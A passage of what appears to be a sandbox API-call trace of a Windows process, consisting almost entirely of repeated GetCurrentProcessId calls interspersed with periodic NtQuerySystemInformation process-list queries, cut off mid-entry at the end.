[0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.101] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.102] GetCurrentProcessId () returned 0x10c0 [0242.662] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.669] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.670] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.671] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.672] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0242.673] GetCurrentProcessId () returned 0x10c0 [0243.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0243.286] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.287] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.288] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.289] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.290] GetCurrentProcessId () returned 0x10c0 [0243.868] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.870] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.871] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.872] GetCurrentProcessId () returned 0x10c0 [0243.873] GetCurrentProcessId () returned 0x10c0 [0243.873] GetCurrentProcessId () returned 0x10c0 [0243.873] GetCurrentProcessId () returned 0x10c0 [0243.873] GetCurrentProcessId () returned 0x10c0 [0243.873] GetCurrentProcessId () returned 0x10c0 [0243.873] GetCurrentProcessId () returned 0x10c0 [0243.873] GetCurrentProcessId () returned 0x10c0 [0243.875] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.876] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.877] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.878] GetCurrentProcessId () returned 0x10c0 [0243.879] GetCurrentProcessId () returned 0x10c0 [0243.879] GetCurrentProcessId () returned 0x10c0 [0243.879] GetCurrentProcessId () returned 0x10c0 [0243.879] GetCurrentProcessId () returned 0x10c0 [0243.879] GetCurrentProcessId () returned 0x10c0 [0243.879] GetCurrentProcessId () returned 0x10c0 [0243.879] GetCurrentProcessId () returned 0x10c0 [0243.879] GetCurrentProcessId () returned 0x10c0 [0243.879] GetCurrentProcessId () returned 0x10c0 [0244.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.486] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.487] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.488] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.489] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.490] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0244.491] GetCurrentProcessId () returned 0x10c0 [0245.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.126] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () 